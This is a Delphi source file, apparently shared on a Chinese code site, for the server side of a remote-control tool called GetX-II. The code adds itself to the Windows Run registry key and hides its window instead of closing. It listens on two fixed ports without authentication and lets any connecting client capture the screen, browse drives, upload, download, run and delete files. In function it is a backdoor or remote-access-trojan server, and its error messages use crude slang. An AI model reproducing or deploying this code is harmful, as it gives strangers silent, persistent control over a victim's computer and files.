Unit1.pas
上传用户:xshpiao
上传日期:2022-07-15
资源大小:139k
文件大小:10k
源码类别:

远程控制编程

开发平台:

Delphi

  1. {
  2.  如果你有意更改代码,请回寄一份给我,大家可以相互交流!
  3.  E-MAIL:xkdh_szb@21cn.net
  4. }
  5. unit Unit1;
  6. interface
  7. uses
  8.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  9.   Dialogs, StdCtrls, WinSock, ScktComp, JPEG, comctrls, extctrls, RXShell,
  10.   ShellApi, registry;
  11. type
  12.   NetData = record
  13.     Protocol  :set of ( P_SEND, P_REV, P_FILE, P_END, P_LIST,
  14.                         C_SEND, C_REV, C_FILE, C_END, C_REVC,
  15.                         K_SCR, K_MOUSE, K_RUN, K_DEL, K_KEY,
  16.                         P_DRV);
  17.     LInt, RInt:integer;
  18.     Fbuf      :array [0..1024] of char;
  19.     Str       :string[100];
  20.   end;
  21.   TfrmMain = class(TForm)
  22.     moMsg: TMemo;
  23.     ss1: TServerSocket;
  24.     ss2: TServerSocket;
  25.     Trayi: TRxTrayIcon;
  26.     procedure FormCreate(Sender: TObject);
  27.     procedure FormClose(Sender: TObject; var Action: TCloseAction);
  28.     procedure ss2ClientRead(Sender: TObject; Socket: TCustomWinSocket);
  29.     procedure ss1ClientRead(Sender: TObject; Socket: TCustomWinSocket);
  30.     procedure ss1Accept(Sender: TObject; Socket: TCustomWinSocket);
  31.     procedure ss1ClientDisconnect(Sender: TObject;
  32.       Socket: TCustomWinSocket);
  33.     procedure ss1ClientError(Sender: TObject; Socket: TCustomWinSocket;
  34.       ErrorEvent: TErrorEvent; var ErrorCode: Integer);
  35.     procedure ss2ClientError(Sender: TObject; Socket: TCustomWinSocket;
  36.       ErrorEvent: TErrorEvent; var ErrorCode: Integer);
  37.     procedure TrayiDblClick(Sender: TObject);
  38.   private
  39.     procedure ShowMsg(Msg:string);
  40.     procedure sysmsg(var message :TMessage); message WM_CLOSE;
  41.     { Private declarations }
  42.   public
  43.     { Public declarations }
  44.   end;
  45. var
  46.   frmMain : TfrmMain;
  47.   MyStream: TMemorystream;{内存流对象}
  48.   scF,csF : File;
  49.   jx      : integer;
  50. CONST
  51.   tport = 9638;
  52.   sport = 9635;
  53. implementation
  54. {$R *.dfm}
  55. procedure GetScreen(var Bmp: TBitmap);
  56. var
  57.   Dc        : HDC;
  58.   MyCanvas  : TCanvas;
  59.   MyRect    : TRect;
  60.   DrawPos   : TPoint;
  61.   MyCursor  : TIcon;
  62.   mp        : tpoint;
  63.   Threadld  : dword;
  64.   pIconInfo : TIconInfo;
  65.   Cursorx, Cursory: integer;
  66.   hld       : hwnd;
  67. begin
  68.   Bmp := TBitmap.Create ;
  69.   Dc := GetWindowDC(0);
  70.   MyCanvas := TCanvas.Create;
  71.   try
  72.     MyCanvas.Handle := Dc;
  73.     MyRect:=Rect(0, 0,Screen.Width, Screen.Height);
  74.     //图像为 24位真彩色,也可根据实际需要调整
  75.     Bmp.Width := MyRect.Right;
  76.     Bmp.Height := MyRect.Bottom;
  77.     //捕捉整个屏幕图像
  78.     Bmp.Canvas.CopyRect(MyRect, MyCanvas, MyRect);
  79.     //bmp.PixelFormat := pf16bit;
  80.   finally
  81.     MyCanvas.Handle := 0;
  82.     MyCanvas.Free;
  83.     ReleaseDC(0, Dc);
  84.   end;
  85.   //绘制鼠标
  86.   GetCursorPos(DrawPos);
  87.   MyCursor := TIcon.Create;
  88.   getcursorpos(mp);
  89.   hld := WindowFromPoint(mp);
  90.   Threadld := GetWindowThreadProcessId(hld, nil);
  91.   AttachThreadInput(GetCurrentThreadId, Threadld, True);
  92.   MyCursor.Handle := Getcursor();
  93.   AttachThreadInput(GetCurrentThreadId, threadld, False);
  94.   GetIconInfo(Mycursor.Handle, pIconInfo);
  95.   cursorx := DrawPos.x - round(pIconInfo.xHotspot);
  96.   cursory := DrawPos.y - round(pIconInfo.yHotspot);
  97.   bmp.Canvas.Draw(cursorx, cursory, MyCursor); {画上鼠标}
  98.   DeleteObject(pIconInfo.hbmColor);{GetIconInfo 使用时创建了两个bitmap对象. 需要手工释放这两个对象}
  99.   DeleteObject(pIconInfo.hbmMask);{否则,调用他后,他会创建一个bitmap,多次调用会产生多个,直至资源耗尽}
  100.   Mycursor.ReleaseHandle; {释放数组内存}
  101.   MyCursor.Free; {释放鼠标指针}
  102. end;
  103. function GetTmpPath :string;
  104. {获取临时目录}
  105. var tmpdir:array [0..255] of char;
  106. begin
  107.   GetTempPath(255,@tmpdir);
  108.   Result :=StrPas(Tmpdir);
  109. end;
  110. function GetFileSize(Path:string):integer;
  111. var
  112.   Sear:TSearchRec;
  113. begin
  114.   if FindFirst(Path, sysUtils.faArchive, Sear)=0 then
  115.     Result := Sear.Size
  116.   else
  117.     Result := 0;
  118. end;
  119. procedure TfrmMain.ShowMsg(Msg:string);
  120. begin
  121.   frmMain.moMsg.Lines.Add('服务器消息: '+Msg);
  122. end;
  123. procedure TfrmMain.sysmsg(var message :TMessage);
  124. begin
  125.   FrmMain.Hide ;
  126. end;
  127. procedure TfrmMain.FormCreate(Sender: TObject);
  128. VAR
  129.   MyReg: Tregistry;
  130. begin
  131.   ss1.Port := tport;
  132.   ss2.Port := sport;
  133.   ss1.Active := true;
  134.   ss2.Active := true;
  135.   MyReg := tregistry.Create ;
  136.   MyReg.RootKey := HKEY_LOCAL_MACHINE;
  137.   MyReg.OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRun', True);
  138.   MyReg.WriteString('Getx-II', Application.ExeName);
  139.   MyReg.CloseKey ;
  140.   myReg.Free ;
  141.   ShowMsg('服务起已经启动,正在监听端口:('+inttostr(tport)+')和('+inttostr(sport)+')');
  142. end;
  143. procedure TfrmMain.FormClose(Sender: TObject; var Action: TCloseAction);
  144. begin
  145.   if ss1.Active then ss1.Close ;
  146.   if ss2.Active then ss2.Close ;
  147. end;
  148. procedure TfrmMain.ss2ClientRead(Sender: TObject;
  149.   Socket: TCustomWinSocket);
  150. //图象传送
  151. var
  152.   S, S1  : String;
  153.   MyBmp  : TBitmap;
  154.   Myjpg  : TJpegimage;
  155. begin
  156.   application.ProcessMessages;
  157.   try
  158.   S := Socket.ReceiveText ;
  159.   if copy(S,1,3) = 'cap' then
  160.   begin
  161.     MyStream := TMemorystream.Create;{建立内存流}
  162.     MyBmp    := TBitmap.Create;
  163.     Myjpg    := TJpegimage.Create;
  164.     Try
  165.       GetScreen(MyBmp);
  166.       Myjpg.Assign(MyBmp);
  167.       Myjpg.CompressionQuality := jx;
  168.       Myjpg.SaveToStream(MyStream);
  169.       Myjpg.Free ;
  170.       MyStream.Position := 0;
  171.       S1 := IntToStr(MyStream.Size);
  172.       Socket.SendText(S1);
  173.     finally
  174.       MyBmp.Free;
  175.     end;
  176.   end;
  177.   if copy(S,1,5) = 'ready' then
  178.   begin
  179.     MyStream.Position := 0;
  180.     Socket.SendStream(MyStream);
  181.   end;
  182.   except
  183.   end;
  184. end;
  185. procedure TfrmMain.ss1ClientRead(Sender: TObject;
  186.   Socket: TCustomWinSocket);
  187. var
  188.   bb:NetData;
  189.   Sear:TSearchrec;
  190.   strT:string;
  191. begin
  192.   if Socket.ReceiveBuf(bb,sizeof(bb))= SOCKET_ERROR then
  193.     exit;
  194.   application.ProcessMessages ;
  195.   //S-C SEND FILE
  196.   try
  197.   if P_FILE in bb.Protocol then
  198.   begin
  199.     bb.Protocol := [P_SEND];
  200.     AssignFile(scF,bb.Str);
  201.     FileMode := 0;
  202.     ReSet (scf, 1);
  203.     BlockRead(scf, bb.Fbuf, 1024, bb.RInt);
  204.     if bb.RInt > 0 then
  205.       Socket.SendBuf(bb, sizeof(bb));
  206.   end;
  207.   if P_REV in bb.Protocol then
  208.   begin
  209.     bb.Protocol := [P_SEND];
  210.     BlockRead(scf, bb.Fbuf, SizeOF(bb.Fbuf), bb.RInt);
  211.     if bb.RInt >0 then
  212.       Socket.SendBuf(bb, sizeof(bb))
  213.     else
  214.     begin
  215.       CloseFile(scf);
  216.       bb.Protocol := [P_END];
  217.       Socket.SendBuf(bb,sizeof(bb));
  218.     end;
  219.   end;
  220.   //C-S SEND FILE
  221.   if C_FILE in bb.Protocol then
  222.   begin
  223.     AssignFile(scF, bb.Str);
  224.     ReWrite(scf, 1);
  225.     bb.Protocol := [C_REVC];
  226.     if IOResult = 0 then
  227.       Socket.SendBuf(bb, sizeOf(bb));
  228.     end;
  229.   if C_SEND in bb.Protocol then
  230.   begin
  231.     BlockWrite(scf, bb.Fbuf, bb.RInt);
  232.     bb.Protocol := [C_REV];
  233.     Socket.SendBuf(bb, sizeOf(bb));
  234.   end;
  235.   if C_END in bb.Protocol then
  236.   begin
  237.     Closefile(scf);
  238.   end;
  239.   //屏幕控制开始
  240.   if K_SCR in bb.Protocol then
  241.   begin
  242.     jx := bb.RInt ;
  243.     bb.Protocol := [K_SCR];
  244.     bb.RInt    := Screen.Width;
  245.     Socket.SendBuf(bb, sizeOf(bb));
  246.   end;
  247.   //传送目录和文件
  248.   if P_LIST in bb.Protocol then
  249.   begin
  250.     if findFirst(bb.Str, faAnyFile, Sear)=0 then
  251.       repeat
  252.         bb.Protocol := [P_LIST];
  253.         bb.LInt     := sear.Size ;
  254.         bb.RInt     := sear.Time ;
  255.         bb.Str      := sear.Name ;
  256.         if (sear.Attr and faDirectory) <> 0 then bb.LInt := -9;
  257.         socket.SendBuf(bb, sizeOf(bb));
  258.         sleep(10);
  259.         application.ProcessMessages ;
  260.       until findNext(Sear)<>0 ;
  261.     findClose(Sear);
  262.     bb.Str := '';
  263.     socket.sendbuf(bb, sizeof(bb));
  264.   end;
  265.   if K_RUN in bb.Protocol then
  266.   begin
  267.     strt:= bb.Str ;
  268.     ShellExecute(handle,'open', pchar(strt), nil, pchar(extractfilepath(strt)),SW_NORMAL);
  269.   end;
  270.   if K_DEL in bb.Protocol then
  271.     DeleteFile(bb.Str);
  272.   except
  273.   end;
  274. end;
  275. procedure TfrmMain.ss1Accept(Sender: TObject; Socket: TCustomWinSocket);
  276. var
  277.   drv :char;
  278.   pdrv:netdata;
  279. begin
  280.   showmsg(inet_ntoa(Socket.RemoteAddr.sin_addr) + '已经连接!');
  281.   trayi.Active := true;
  282.   trayi.Hint := 'GetX-II v1.00' + chr(13)+chr(10) +
  283.                 inet_ntoa(Socket.RemoteAddr.sin_addr) + '已经连接!';
  284.   try
  285.   for drv:= 'C' to 'Z' do
  286.   begin
  287.     application.ProcessMessages ;
  288.     sleep(100);
  289.     pdrv.Protocol := [P_DRV];
  290.     case GetDriveType(PChar(Drv+':')) of
  291.       DRIVE_FIXED: pdrv.Str := '本地磁盘:'+drv+':';
  292.       DRIVE_CDROM: pdrv.Str := '光    盘:'+Drv+':';
  293.       DRIVE_RAMDISK: pdrv.Str :='虚礼磁盘:'+Drv+':';
  294.     else
  295.       pdrv.Str := 'n';
  296.     end;
  297.     if pdrv.Str <>'n'then
  298.       Socket.SendBuf(pdrv, sizeOf(pdrv));
  299.   end;
  300.   pdrv.Str := '';
  301.   Socket.SendBuf(pdrv, sizeOf(pdrv));
  302.   except
  303.   end;
  304. end;
  305. procedure TfrmMain.ss1ClientDisconnect(Sender: TObject;
  306.   Socket: TCustomWinSocket);
  307. begin
  308.   showmsg(inet_ntoa(Socket.RemoteAddr.sin_addr) + '断开连接!');
  309.   trayi.Active := false;
  310. end;
  311. procedure TfrmMain.ss1ClientError(Sender: TObject;
  312.   Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  313.   var ErrorCode: Integer);
  314. begin
  315.   ErrorCode:= 0;
  316.   case ErrorEvent of
  317.     eeSend: showmsg('搞鸡吧!发送数据出现了出错误!!还好问题不大可以从新来。');
  318.     eeReceive: showmsg('见落甩!接收数据出现了错误!不晓得还发不发过来·!·');
  319.     eeAccept: showmsg('搞的个么卵子!还没有连接就出错!');
  320.     eeConnect: showmsg('也落,在建立连接时出现错误!');
  321.     eeDisconnect: showmsg('哈哈!断开连接时出现了错误,怕个b!');
  322.     eeGeneral: showmsg('这回真是也落了,出现了一个错误我也不晓得是么落错误!');
  323.   end;
  324.   ss1.Close;
  325.   sleep(5000);
  326.   ss1.Open ;
  327. end;
  328. procedure TfrmMain.ss2ClientError(Sender: TObject;
  329.   Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  330.   var ErrorCode: Integer);
  331. begin
  332.   ErrorCode:=0;
  333.   MyStream.Clear ;
  334. end;
  335. procedure TfrmMain.TrayiDblClick(Sender: TObject);
  336. begin
  337.   frmMain.Show ;
  338. end;
  339. end.